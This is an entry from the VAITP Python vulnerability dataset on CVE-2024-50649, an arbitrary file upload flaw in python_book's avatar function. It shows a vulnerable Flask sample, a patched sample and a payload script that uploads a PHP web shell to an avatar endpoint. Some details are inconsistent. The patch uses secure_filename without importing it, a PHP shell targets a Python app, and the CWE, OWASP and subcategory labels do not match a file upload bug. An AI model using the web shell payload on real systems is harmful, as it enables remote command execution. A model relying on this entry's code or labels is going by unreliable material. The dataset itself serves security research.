VAITP Dataset

← Back to the dataset

CVE-2024-50649

Arbitrary file upload vulnerability in user avatar function of python_book V1.0.

  • CVSS 9.8
  • CWE-22
  • Input Validation and Sanitization
  • Remote

The user avatar upload function in python_book V1.0 has an arbitrary file upload vulnerability.

CVSS base score
9.8
Published
2024-11-15
OWASP
A07 Identification and Authentication Failure
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
python_book
Fixed by upgrading
Yes

Solution

Upgrade to python_book V1.1 and implement strict file type validation and sanitization for uploads.

Vulnerable code sample

import os
from flask import Flask, request, redirect, url_for, flash

app = Flask(__name__)
app.secret_key = 'your_secret_key'

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if 'file' not in request.files:
        flash('No file part')
        return redirect(request.url)
    
    file = request.files['file']
    
    if file.filename == '':
        flash('No selected file')
        return redirect(request.url)
    
    file.save(os.path.join('uploads', file.filename))
    flash('File successfully uploaded')
    return redirect(url_for('uploaded_file', filename=file.filename))

if __name__ == '__main__':
    app.run()

Patched code sample

import os
from flask import Flask, request, redirect, url_for, flash

app = Flask(__name__)
app.secret_key = 'your_secret_key'

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if 'file' not in request.files:
        flash('No file part')
        return redirect(request.url)
    
    file = request.files['file']
    
    if file.filename == '':
        flash('No selected file')
        return redirect(request.url)
    
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file.save(os.path.join('uploads', filename))
        flash('File successfully uploaded')
        return redirect(url_for('uploaded_file', filename=filename))
    
    flash('File type not allowed')
    return redirect(request.url)

if __name__ == '__main__':
    app.run()

Payload

import requests

url = 'http://example.com/upload_avatar'
files = {'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>')}
response = requests.post(url, files=files)

print(response.text)

Cite this entry

@misc{vaitp:cve202450649,
  title        = {{Arbitrary file upload vulnerability in user avatar function of python_book V1.0.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-50649},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-50649/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::